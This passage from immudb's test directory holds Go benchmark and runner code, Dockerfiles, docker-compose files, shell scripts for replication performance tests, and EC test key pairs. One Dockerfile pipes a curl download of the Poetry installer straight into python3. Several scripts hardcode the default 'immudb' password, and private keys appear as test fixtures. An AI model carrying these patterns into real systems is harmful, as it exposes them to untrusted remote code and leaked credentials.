replicaServerReplicaOptions.PrimaryPassword = "immudb" replicaServerReplicaOptions.PrefetchTxBufferSize = 1000 replicaServerReplicaOptions.ReplicationCommitConcurrency = 30 if b.cfg.Replica == "async" { replicaServerOptions.WithReplicationOptions(replicaServerReplicaOptions.WithIsReplica(true)) } if b.cfg.Replica == "sync" { replicaServerReplicaOptions = *replicaServerReplicaOptions.WithIsReplica(true).WithSyncReplication(true) replicaServerOptions.WithReplicationOptions(&replicaServerReplicaOptions) } b.replicaServer = server.DefaultServer().WithOptions(replicaServerOptions).(*server.ImmuServer) err = b.replicaServer.Initialize() if err != nil { return err } go func() { b.replicaServer.Start() }() time.Sleep(1 * time.Second) } b.clients = []client.ImmuClient{} for i := 0; i < b.cfg.Workers; i++ { path, err := os.MkdirTemp(tempDirBase, "immudb_client") if err != nil { return err } c := client.NewClient().WithOptions(client.DefaultOptions().WithPort(primaryPort).WithDir(path)) err = c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") if err != nil { return err } b.clients = append(b.clients, c) b.tempDirs = append(b.tempDirs, path) } return nil } func (b *benchmark) Cleanup() error { for _, c := range b.clients { err := c.CloseSession(context.Background()) if err != nil { return err } } b.primaryServer.Stop() b.primaryServer = nil if b.replicaServer != nil { b.replicaServer.Stop() b.replicaServer = nil } for _,tDir := range(b.tempDirs) { os.RemoveAll(tDir) } return nil } func (b *benchmark) Run(duration time.Duration, seed uint64) (interface{}, error) { wg := sync.WaitGroup{} kt := benchmarks.NewKeyTracker(seed) rand := benchmarks.NewRandStringGen(b.cfg.ValueSize) defer rand.Stop() var done chan bool var errChan chan error b.startTime = time.Now() b.lastProbeTime = b.startTime hwStatsGatherer, err := benchmarks.NewHWStatsProber() if err != nil { log.Printf("HW stats disabled, couldn't initialize gathering object: %v", err) } else { b.hwStatsGatherer = hwStatsGatherer } for i := range b.clients { wg.Add(1) go func(i int) { defer wg.Done() client := b.clients[i] for { select { case <-done: return default: } setRequest := schema.SetRequest{ KVs: make([]*schema.KeyValue, b.cfg.BatchSize), NoWait: b.cfg.AsyncWrite, } for i := 0; i < b.cfg.BatchSize; i++ { key := h256(kt.GetWKey()) if len(key) > b.cfg.KeySize { key = key[:b.cfg.KeySize] } setRequest.KVs[i] = &schema.KeyValue{ Key: key, Value: rand.GetRnd(), } } _, err := client.SetAll(context.Background(), &setRequest) if err != nil { select { case errChan <- err: return default: } } atomic.AddInt64(&b.txSoFar, 1) atomic.AddInt64(&b.kvSoFar, int64(len(setRequest.KVs))) } }(i) } select { case err := <-errChan: // Finish with error close(done) wg.Wait() return nil, err case <-time.After(duration): // Finish after given duration } return b.genResults(false), nil } func (b *benchmark) Probe() interface{} { return b.genResults(true) } func (b *benchmark) genResults(asProbe bool) interface{} { txSoFar := atomic.LoadInt64(&b.txSoFar) kvSoFar := atomic.LoadInt64(&b.kvSoFar) now := time.Now() d := now.Sub(b.startTime) res := &Result{ TxTotal: txSoFar, KvTotal: kvSoFar, Txs: float64(txSoFar) * float64(time.Second) / float64(d), Kvs: float64(kvSoFar) * float64(time.Second) / float64(d), } if asProbe { b.m.Lock() defer b.m.Unlock() dSinceLastProbe := now.Sub(b.lastProbeTime) res.TxsInst = float64(txSoFar-b.lastProbeTxSoFar) * float64(time.Second) / float64(dSinceLastProbe) res.KvsInst = float64(kvSoFar-b.lastProbeKVSoFar) * float64(time.Second) / float64(dSinceLastProbe) b.lastProbeTxSoFar = txSoFar b.lastProbeKVSoFar = kvSoFar b.lastProbeTime = now } if b.hwStatsGatherer != nil { hwStats, err := b.hwStatsGatherer.GetHWStats() if err != nil { log.Printf("ERROR: Couldn't gather HW stats: %v", err) } else { res.HWStats = hwStats } } return res } ================================================ FILE: test/performance-test-suite/pkg/runner/benchmarks.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package runner import ( "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks" "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs" ) func getBenchmarksToRun() []benchmarks.Benchmark { return []benchmarks.Benchmark{ writetxs.NewBenchmark(writetxs.Config{ Name: "Write TX/s async - no replicas", Workers: 30, BatchSize: 1, KeySize: 32, ValueSize: 128, AsyncWrite: true, Replica: "", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write KV/s async - no replicas", Workers: 30, BatchSize: 1000, KeySize: 32, ValueSize: 128, AsyncWrite: true, Replica: "", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write TX/s async - one async replica", Workers: 30, BatchSize: 1, KeySize: 32, ValueSize: 128, AsyncWrite: true, Replica: "async", }), writetxs.NewBenchmark(writetxs.Config{ // this one! Name: "Write KV/s async - one async replica", Workers: 30, BatchSize: 1000, KeySize: 32, ValueSize: 128, AsyncWrite: true, Replica: "async", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write TX/s async - one sync replica", Workers: 30, BatchSize: 1, KeySize: 32, ValueSize: 128, AsyncWrite: true, Replica: "sync", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write KV/s async - one sync replica", Workers: 30, BatchSize: 1000, KeySize: 32, ValueSize: 128, AsyncWrite: true, Replica: "sync", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write TX/s sync - no replicas", Workers: 30, BatchSize: 1, KeySize: 32, ValueSize: 128, AsyncWrite: false, Replica: "", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write KV/s sync - no replicas", Workers: 30, BatchSize: 1000, KeySize: 32, ValueSize: 128, AsyncWrite: false, Replica: "", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write TX/s sync - one async replica", Workers: 30, BatchSize: 1, KeySize: 32, ValueSize: 128, AsyncWrite: false, Replica: "async", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write KV/s sync - one async replica", Workers: 30, BatchSize: 1000, KeySize: 32, ValueSize: 128, AsyncWrite: false, Replica: "async", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write TX/s sync - one sync replica", Workers: 30, BatchSize: 1, KeySize: 32, ValueSize: 128, AsyncWrite: false, Replica: "sync", }), writetxs.NewBenchmark(writetxs.Config{ Name: "Write KV/s sync - one sync replica", Workers: 30, BatchSize: 1000, KeySize: 32, ValueSize: 128, AsyncWrite: false, Replica: "sync", }), } } ================================================ FILE: test/performance-test-suite/pkg/runner/influxdb_client.go ================================================ package runner import ( "context" influxdb2 "github.com/influxdata/influxdb-client-go/v2" ) func SendResultsToInfluxDb(host string, token string, bucket string, runner string, version string, r *BenchmarkSuiteResult) { var client influxdb2.Client client = influxdb2.NewClient(host, token) writer := client.WriteAPIBlocking("Codenotary", bucket) for _, b := range r.Benchmarks { p := influxdb2.NewPointWithMeasurement("performance"). AddTag("name", b.Name). AddTag("runner", runner). AddTag("version", version). AddField("duration", b.Duration.Seconds()). AddField("txTotal", b.Results.TxTotal). AddField("kvTotal", b.Results.KvTotal). AddField("txs", b.Results.Txs). AddField("kvs", b.Results.Kvs). AddField("cpuTime", b.Results.HWStats.CPUTime). AddField("vmm", b.Results.HWStats.VMM). AddField("rss", b.Results.HWStats.RSS). AddField("IOBytesWrite", b.Results.HWStats.IOBytesWrite). AddField("IOBytesRead", b.Results.HWStats.IOBytesRead). AddField("IOCallsRead", b.Results.HWStats.IOCallsRead). AddField("IOCallsWrite", b.Results.HWStats.IOCallsWrite). SetTime(b.EndTime) writer.WritePoint(context.Background(), p) } client.Close() } ================================================ FILE: test/performance-test-suite/pkg/runner/processinfo.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package runner import ( "os" "github.com/codenotary/immudb/cmd/version" ) func gatherProcessInfo() ProcessInfo { return ProcessInfo{ CommandLine: os.Args, Version: version.Version, GitCommit: version.Commit, BuiltBy: version.BuiltBy, BuiltAt: version.BuiltAt, } } ================================================ FILE: test/performance-test-suite/pkg/runner/results.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package runner import ( "time" "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs" ) type Duration time.Duration func (d Duration) MarshalJSON() ([]byte, error) { return []byte("\"" + time.Duration(d).String() + "\""), nil } func (d Duration) Seconds() float64 { return time.Duration(d).Seconds() } type BenchmarkTimelineEntry struct { Time time.Time `json:"time"` Duration Duration `json:"duration"` Probe interface{} `json:"probe"` } type BenchmarkRunResult struct { Name string `json:"name"` Summary string `json:"summary"` StartTime time.Time `json:"startTime"` EndTime time.Time `json:"endTime"` Duration Duration `json:"duration"` RequestedDuration Duration `json:"requestedDuration"` Results *writetxs.Result `json:"results"` Timeline []BenchmarkTimelineEntry `json:"timeline"` } type ProcessInfo struct { CommandLine []string `json:"commandLine"` Version string `json:"version"` GitCommit string `json:"gitCommit"` BuiltBy string `json:"builtBy"` BuiltAt string `json:"builtAt"` } type SystemInfo struct { Hostname string `json:"hostname"` } type BenchmarkSuiteResult struct { StartTime time.Time `json:"startTime"` EndTime time.Time `json:"endTime"` Duration Duration `json:"duration"` ProcessInfo ProcessInfo `json:"processInfo"` SystemInfo SystemInfo `json:"systemInfo"` Benchmarks []BenchmarkRunResult `json:"benchmarks"` } ================================================ FILE: test/performance-test-suite/pkg/runner/runner.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package runner import ( "fmt" "log" "sync" "time" "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs" ) func RunAllBenchmarks(d time.Duration, tempDir string, seed uint64) (*BenchmarkSuiteResult, error) { ret := &BenchmarkSuiteResult{ StartTime: time.Now(), ProcessInfo: gatherProcessInfo(), SystemInfo: gatherSystemInfo(), } log.Printf("Starting immudb performance test suite") for _, b := range getBenchmarksToRun() { log.Printf("Running benchmark: %s", b.Name()) result := BenchmarkRunResult{ Name: b.Name(), Timeline: []BenchmarkTimelineEntry{}, } err := b.Warmup(tempDir) if err != nil { return nil, err } result.StartTime = time.Now() // Start probing goroutine done := make(chan bool) wg := sync.WaitGroup{} wg.Add(1) go func() { defer wg.Done() ticker := time.NewTicker(time.Second) defer ticker.Stop() for { select { case <-done: return case <-ticker.C: } now := time.Now() probe := b.Probe() result.Timeline = append(result.Timeline, BenchmarkTimelineEntry{ Time: now, Duration: Duration(now.Sub(result.StartTime)), Probe: probe, }) log.Printf( "[%s] %v/%v %s", result.Name, now.Sub(result.StartTime).Round(time.Second), d, probe, ) } }() // Run the benchmark res, err := b.Run(d, seed) if err != nil { return nil, err } // Notify that we're done probing close(done) wg.Wait() result.Summary = fmt.Sprint(res) result.EndTime = time.Now() result.Duration = Duration(result.EndTime.Sub(result.StartTime)) result.RequestedDuration = Duration(d) result.Results = res.(*writetxs.Result) ret.Benchmarks = append(ret.Benchmarks, result) log.Printf("Benchmark %s finished", b.Name()) log.Printf("Results: %s", res) b.Cleanup() } ret.EndTime = time.Now() ret.Duration = Duration(ret.EndTime.Sub(ret.StartTime)) log.Printf("Finished immudb performance test suite") return ret, nil } ================================================ FILE: test/performance-test-suite/pkg/runner/systeminfo.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package runner import "os" func gatherSystemInfo() SystemInfo { ret := SystemInfo{} if hn, err := os.Hostname(); err == nil { ret.Hostname = hn } return ret } ================================================ FILE: test/release_perf_test/.gitignore ================================================ result.csv ================================================ FILE: test/release_perf_test/Dockerfile ================================================ FROM golang:1.24 as builder WORKDIR /src/immudb COPY go.mod go.sum /src/immudb RUN go mod download -x COPY . . RUN rm -rf /src/webconsole/dist && mkdir /var/lib/immudb RUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static FROM debian:stable-slim COPY --from=builder /src/immudb/immuadmin /src/immudb/immudb /src/immudb/immuclient \ /src/immudb/test/release_perf_test/startup.sh /usr/local/bin RUN apt-get update && apt-get -y install netcat-traditional && apt-get clean ENTRYPOINT ["/usr/local/bin/startup.sh"] CMD ["standalone"] ================================================ FILE: test/release_perf_test/Dockerfile-141 ================================================ FROM golang:1.18 as builder WORKDIR /src/immudb RUN git clone --branch v1.4.1 https://github.com/codenotary/immudb . RUN go mod download -x RUN rm -rf /src/webconsole/dist && mkdir /var/lib/immudb RUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static FROM debian:stable-slim COPY --from=builder /src/immudb/immuadmin /src/immudb/immudb /src/immudb/immuclient /usr/local/bin COPY test/release_perf_test/startup.sh /usr/local/bin RUN apt-get update && apt-get -y install netcat-traditional && apt-get clean ENTRYPOINT ["/usr/local/bin/startup.sh"] CMD ["standalone"] ================================================ FILE: test/release_perf_test/Dockerfile.tools ================================================ FROM golang:1.19 as builder WORKDIR /src/immudb-tools RUN git clone https://github.com/codenotary/immudb-tools . RUN (cd stresser2 && go build) RUN (cd paralsql && go build) FROM python:3.10-slim COPY --from=builder /src/immudb-tools/stresser2/stresser2 /src/immudb-tools/paralsql/paralsql /usr/local/bin/ COPY --from=builder /src/immudb-tools/test-web-api/ /usr/local/immudb-tools/test-web-api/ RUN apt-get update && apt-get install -y curl && \ curl -sSL https://install.python-poetry.org | POETRY_HOME=/etc/poetry python3 - --version 1.4.2 ENV PATH="$PATH:/etc/poetry/venv/bin" RUN cd /usr/local/immudb-tools/test-web-api/ && \ poetry config virtualenvs.create false && poetry install ENTRYPOINT ["/bin/bash", "-c"] CMD ["echo hello world"] ================================================ FILE: test/release_perf_test/README.md ================================================ # Performance test This utility test performs a set of performance test on immudb and outputs a CSV table that can be easily imported in a spreadsheet. Both immudb and the testing tools are built in a docker container. Docker compose is then used to run immudb and the test. # Usage ## Quickstart Just launch `./runme.sh` and come back tomorrow. ## Script usage **Note**: We recommend using `screen` or `tmux` to detach the session from the console. The test will run for a very long time and you risk a disconnection will ruin the result. The `runme.sh` scripts accept some options. Please refer to the test description below to better understand what the meaning of each of them is. ```sh ./runme.sh [ -d duration ] [ -B ] [ -D ] [ -Q ] [ -K ] -d duration: duration of each test in seconds -B (nobuild): skip building of containers -D (nodocument): skip document test -Q (nosql): skip sql test -K (nokv): skip KV test ``` By default, the duration of each test is 600 seconds (10 minutes). You can change that with the `-d` parameter. You can also skip a test section with flags `-D`, `-Q`, `-K` or avoid building the containers (useful if they are already built) with `-B`. ## Result / Output At the end of the tests a table will be printed, in CSV format, like this: ```csv test;client,batchsize,replication,Write TX/s,Write KV/s kv;1;1;no;31;31 kv;10;1;no;261;261 kv;100;1;no;2218;2218 kv;1;100;no;2717;271700 kv;10;100;no;21033;2103300 [...] doc;1;100;async;14.9457;1494.568 doc;10;100;async;16.7671;1676.706 doc;100;100;async;18.2019;1820.194 doc;1;1000;async;11.4383;11438.330 doc;10;1000;async;12.8969;12896.903 doc;100;1000;async;13.6866;13686.639 ``` This table is also saved in file `result.csv`. It shows all tests performed, with the indication of the subsystem (kv, sql, doc), the number of clients, the batchsize, the type of replication setup and (finally) the number of transaction per second and the number of document (KV pair, SQL lines or JSON document) inserted per second. ## Test matrix Three set of tests are executed: key/value inserts (KV), SQL inserts (SQL) and json document insertion, using HTTP APIs. For each set, we execute multiple runs, with different number of concurrent client, and with different batch size. We use runs with 1, 10, 100 clients and batch size 1, 100, 1000. So each single test is executed 9 times. Each run has a fixed duration, which by default is 10 minutes. ### Replication On top of that, each test matrix is run three times: - on a single immudb instance, - on an asynchronous replicated couple of instances, - and on a synchronous replicated couple of instance. So every subsystem (KV, SQL, DOC) performs 27 tests, each lasting by default 10 minutes, for a total of 81 tests, or 810 minutes. Plus startup/teardown time. So the whole test procedure can easily last 14 hours. ## Immudb Version tested By default, the current immudb code is compiled and tested. It is possible to have a different immudb version, by using a specifically crafted Dockerfile to create a custom immudb docker. As a reference, we have the `Dockerfile-141` file that builds immudb 1.4.1 To use the custom dockerfile, simply set the `DOCKERFILE` variable (i.e. `export DOCKERFILE=Dockerfile-1.4.1`) before running the script. ## Docker architecture We use docker-compose to build and run the tests ### Containers The server is built using the `Dockerfile` in the present directory. It compiles immudb from the very same branch that is checked out, adding a startup scripts that takes care of tuning the server startup parameters, creating a testing database with correct settings and, if required, needed replication options. The client docker checks out the testing tools from the `immudb-tools` repository and builds a client that contains all the binaries and scripts needed for testing. ### Running the tests Docker compose "recycles" the same server container for all different replication scenario, just providing the startup script with the correct option. The test is then run by providing the client container the correct entrypoint for the test that is being performed. ================================================ FILE: test/release_perf_test/docker-compose.yaml ================================================ version: '3.9' services: immudb-perftest: container_name: immudb-perftest image: immudb-perftest build: context: ../.. dockerfile: test/release_perf_test/${DOCKERFILE:-Dockerfile} immudb-tools: container_name: immudb-tools image: immudb-tools build: context: . dockerfile: ./Dockerfile.tools immudb-standalone: container_name: immudb-standalone image: immudb-perftest command: ["standalone"] immudb-async-main: container_name: immudb-async-main image: immudb-perftest command: ["asyncmain"] immudb-async-replica: container_name: immudb-async-replica image: immudb-perftest command: ["asyncreplica"] immudb-sync-main: container_name: immudb-sync-main image: immudb-perftest command: ["syncmain"] immudb-sync-replica: container_name: immudb-sync-replica image: immudb-perftest command: ["syncreplica"] immudb-tools-kv: container_name: immudb-tools image: immudb-tools entrypoint: - "/usr/local/bin/stresser2" immudb-tools-sql: container_name: immudb-tools image: immudb-tools entrypoint: - "/usr/local/bin/paralsql" immudb-tools-web-api: container_name: immudb-tools image: immudb-tools working_dir: "/usr/local/immudb-tools/test-web-api/" entrypoint: ['python', 'main.py'] ================================================ FILE: test/release_perf_test/doctest.sh ================================================ #!/bin/sh docker-compose build immudb-perftest immudb-tools docker-compose up -d immudb-standalone docker-compose run immudb-tools-web-api -b http://immudb-standalone:8080 --duration 10 -w 1 -s 1 ================================================ FILE: test/release_perf_test/quickie.sh ================================================ #!/bin/sh DURATION=300 WORKERS=100 BATCHSIZE=10 #docker-compose build immudb-perftest immudb-tools docker-compose up -d immudb-standalone docker-compose run immudb-tools-kv \ -addr immudb-standalone -db perf -duration $DURATION \ -read-workers 0 -read-batchsize 0 -write-speed 0 \ -write-workers $WORKERS -write-batchsize $BATCHSIZE \ -silent -summary ================================================ FILE: test/release_perf_test/runme.sh ================================================ #!/bin/bash DURATION=600 BUILD=1 DOCTEST=1 SQLTEST=1 KVTEST=1 while getopts "hd:DQKB" arg; do case $arg in d) DURATION=$OPTARG ;; B) unset BUILD ;; D) unset DOCKTEST ;; Q) unset SQLTEST ;; K) unset KVTEST ;; h | *) echo "Usage:" echo "$0 [ -d duration ] [ -B ] [ -D ] [ -Q ] [ -K ]" echo " -d duration: duration of each test in seconds" echo " -B (nobuild): skip building of containers" echo " -D (nodocument): skip document test" echo " -Q (nosql): skip sql test" echo " -K (nokv): skip KV test" exit 1 ;; esac done if [ $BUILD ] then docker-compose build immudb-perftest immudb-tools fi CSV_LINES=( 'test,client,batchsize,replication,Write TX/s,Write KV/s' ) function print_result() { local REPL=$1 shift local STATS=("$@") # print resulting table IDX=0 echo "#---" echo "clients batchsize repl. Write TX/s Write KV/s" for BATCHSIZE in 1 100 1000 do for WORKERS in 1 10 100 do TXS=${STATS[IDX]} echo "$WORKERS $BATCHSIZE $REPL $TXS $((TXS*BATCHSIZE))" IDX=$((IDX+1)) done done } function test_matrix_kv() { SRV=$1 ADDR=$2 REPL=$3 STATS=() > /tmp/runme.log for BATCHSIZE in 1 100 1000 do for WORKERS in 1 10 100 do echo "BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL" | tee -a /tmp/runme.log docker-compose up -d $SRV sleep 5 docker-compose run immudb-tools-kv \ -addr $ADDR -db perf -duration $DURATION \ -read-workers 0 -read-batchsize 0 -write-speed 0 \ -write-workers $WORKERS -write-batchsize $BATCHSIZE \ -silent -summary 2>&1 | tee -a /tmp/runme.log TXS=$(tail -n1 /tmp/runme.log|grep -F "TOTAL WRITE"|grep -Eo '[0-9]+ Txs/s'|cut -d ' ' -f 1) STATS+=( $TXS ) CSVLINE="kv;$WORKERS;$BATCHSIZE;$REPL;$TXS;$((TXS*BATCHSIZE))" CSV_LINES+=( $CSVLINE ) echo "TXS: $TXS, STATS: ${STATS[*]}" docker-compose down --timeout 2 done done print_result "$REPL" "${STATS[@]}" } function test_matrix_sql() { SRV=$1 ADDR=$2 REPL=$3 STATS=() > /tmp/runme.log for BATCHSIZE in 1 100 1000 do for WORKERS in 1 10 100 do echo "BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL" | tee -a /tmp/runme.log docker-compose up -d $SRV sleep 5 docker-compose run immudb-tools-sql \ -addr $ADDR -db perf -duration $DURATION \ -workers $WORKERS -txsize 1 -insert-size $BATCHSIZE \ 2>&1 | tee -a /tmp/runme.log WRS=$(tail -n1 /tmp/runme.log|grep -F "Total Writes"|grep -Eo '[0-9.]+ writes/s'|cut -d ' ' -f 1) TXS=$(tail -n1 /tmp/runme.log|awk "/Total Writes/{print \$9/$BATCHSIZE}") TRUNC_TRS=$(echo $WRS|grep -Eo '^[0-9]+') STATS+=( $TRUNC_TRS ) CSVLINE="sql;$WORKERS;$BATCHSIZE;$REPL;$TXS;$WRS" CSV_LINES+=( $CSVLINE ) echo "TXS: $TXS, WRS: $WRS, STATS: ${STATS[*]}" docker-compose down --timeout 2 done done print_result "$REPL" "${STATS[@]}" } function test_matrix_doc() { SRV=$1 ADDR=$2 REPL=$3 STATS=() > /tmp/runme.log for BATCHSIZE in 1 100 1000 do for WORKERS in 1 10 100 do echo "BATCHSIZE $BATCHSIZE WORKERS $WORKERS REPL $REPL" | tee -a /tmp/runme.log docker-compose up -d $SRV sleep 5 docker-compose run immudb-tools-web-api \ -b http://$ADDR:8080 --duration $DURATION -db perf \ -w $WORKERS -s $BATCHSIZE \ 2>&1 | tee -a /tmp/runme.log TX=$(awk '/TX:/{print $7}' /tmp/runme.log | tail -n 1) TXS=$((TX/DURATION)) WRS=$((TX*BATCHSIZE/DURATION)) STATS+=( $TXS ) CSVLINE="doc;$WORKERS;$BATCHSIZE;$REPL;$TXS;$WRS" CSV_LINES+=( $CSVLINE ) echo "TXS: $TXS, WRS: $WRS, STATS: ${STATS[*]}" docker-compose down --timeout 2 done done print_result "$REPL" "${STATS[@]}" } if [ $KVTEST ] then test_matrix_kv "immudb-standalone" "immudb-standalone" "no" test_matrix_kv "immudb-async-main immudb-async-replica" "immudb-async-main" "async" test_matrix_kv "immudb-sync-main immudb-sync-replica" "immudb-sync-main" "sync" fi if [ $SQLTEST ] then test_matrix_sql "immudb-standalone" "immudb-standalone" "no" test_matrix_sql "immudb-async-main immudb-async-replica" "immudb-async-main" "async" # FIXME sql + sync is currently broken #test_matrix_sql "immudb-sync-main immudb-sync-replica" "immudb-sync-main" "sync" fi if [ $DOCTEST ] then test_matrix_doc "immudb-standalone" "immudb-standalone" "no" test_matrix_doc "immudb-async-main immudb-async-replica" "immudb-async-main" "async" test_matrix_doc "immudb-sync-main immudb-sync-replica" "immudb-sync-main" "sync" fi printf '%s\n' "${CSV_LINES[@]}" printf '%s\n' "${CSV_LINES[@]}" > result.csv ================================================ FILE: test/release_perf_test/startup.sh ================================================ #!/bin/sh IMMUDB=/usr/local/bin/immudb IMMUADMIN=/usr/local/bin/immuadmin if [ -z "$1" ] then MODE="standalone" else MODE=$1 fi echo "Startup mode '$MODE'" case $MODE in standalone) ( while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf --max-commit-concurrency 120 # --embedded-values=true --prealloc-files=true ) & $IMMUDB --dir /var/lib/immudb --web-server ;; asyncmain) ( while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf --max-commit-concurrency 120 ) & $IMMUDB --dir /var/lib/immudb --max-sessions 120 --web-server ;; asyncreplica) ( while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf \ --max-commit-concurrency 120 \ --replication-is-replica \ --replication-primary-database perf \ --replication-primary-host immudb-async-main \ --replication-primary-password immudb \ --replication-primary-port 3322 \ --replication-primary-username immudb ) & $IMMUDB --dir /var/lib/immudb --web-server ;; syncmain) ( while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf --max-commit-concurrency 120 \ --replication-sync-enabled \ --replication-sync-acks 1 ) & $IMMUDB --dir /var/lib/immudb --max-sessions 120 ;; syncreplica) ( while ! nc -z 127.0.0.1 3322 ; do echo "waiting"; sleep 1; done echo -n immudb | $IMMUADMIN login immudb $IMMUADMIN database create perf \ --max-commit-concurrency 120 \ --replication-sync-enabled \ --replication-is-replica \ --replication-primary-database perf \ --replication-primary-host immudb-sync-main \ --replication-primary-password immudb \ --replication-primary-port 3322 \ --replication-primary-username immudb ) & $IMMUDB --dir /var/lib/immudb ;; *) echo "Wrong startup mode ($MODE)" exit 1 ;; esac ================================================ FILE: test/signer/ec1.key ================================================ -----BEGIN EC PRIVATE KEY----- MHcCAQEEIP2pgYo9cxXPiNx7JT45iYcaoe8n/pdel+yLSs5dPDnYoAoGCCqGSM49 AwEHoUQDQgAEZZnFlFoRbwzdLiyyYkWcPbF/CZ2BSqo/0Qzp2wJrMCYQz6KHLntf bkgdEfjFfv/aALMrvOg7peEYqfsnoDqpmQ== -----END EC PRIVATE KEY----- ================================================ FILE: test/signer/ec1.pub ================================================ -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEZZnFlFoRbwzdLiyyYkWcPbF/CZ2B Sqo/0Qzp2wJrMCYQz6KHLntfbkgdEfjFfv/aALMrvOg7peEYqfsnoDqpmQ== -----END PUBLIC KEY----- ================================================ FILE: test/signer/ec3.key ================================================ -----BEGIN EC PRIVATE KEY----- MHcCAQEEIIvkppTkHC6DjcEBRJ+I/Q83YNp1/X/ECNxD0ldFWHBgoAoGCCqGSM49 AwEHoUQDQgAE+jTlNH+mL/2MvU7OCnmaq6SQ+XM6se64K/IScq42M8sTtSEWlw9g jIJMiRvdwhJBi3uQnk2i0cyBfNXKmy5i4w== -----END EC PRIVATE KEY----- ================================================ FILE: test/signer/ec3.pub ================================================ -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE+jTlNH+mL/2MvU7OCnmaq6SQ+XM6 se64K/IScq42M8sTtSEWlw9gjIJMiRvdwhJBi3uQnk2i0cyBfNXKmy5i4w== -----END PUBLIC KEY----- ================================================ FILE: test/signer/unparsable.key ================================================ foo ================================================ FILE: test/txscan/txscan.go ================================================ package main import ( "context" "flag" "log" "math/rand" "time" "github.com/codenotary/immudb/pkg/api/schema" immuclient "github.com/codenotary/immudb/pkg/client" "google.golang.org/grpc/metadata" ) type dbitem struct { key string val string seen bool } var config struct { step int tot int } func genvals(num int) ([]dbitem, map[string]int) { log.Printf("Generating %d values\n", config.tot) kvs := make([]dbitem, num) ptr := make(map[string]int, num) for i := 0; i < num; i++ { kvs[i].key = rndString(12) kvs[i].val = rndString(32) kvs[i].seen = false ptr[kvs[i].key] = i } return kvs, ptr } var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" func rndString(l int) string { b := make([]byte, l) for i := range b { b[i] = charset[seededRand.Intn(len(charset))] } return string(b) } func connect() (immuclient.ImmuClient, context.Context) { client, err := immuclient.NewImmuClient(immuclient.DefaultOptions()) if err != nil { log.Fatal(err) } ctx := context.Background() lr, err := client.Login(ctx, []byte(`immudb`), []byte(`immudb`)) if err != nil { log.Fatal(err) } md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewOutgoingContext(context.Background(), md) return client, ctx } func init() { flag.IntVar(&config.step, "step", 50, "size of one batch") flag.IntVar(&config.tot, "tot", 1000, "total number of KV") flag.Parse() } func main() { kvs, ptr := genvals(config.tot) client, ctx := connect() insert(ctx, client, kvs) check(ctx, client, kvs, ptr) } func insert(ctx context.Context, client immuclient.ImmuClient, kvs []dbitem) { for i := 0; i < len(kvs); i += config.step { log.Printf("Inserting chunk %d-%d", i, i+config.step-1) rkvs := 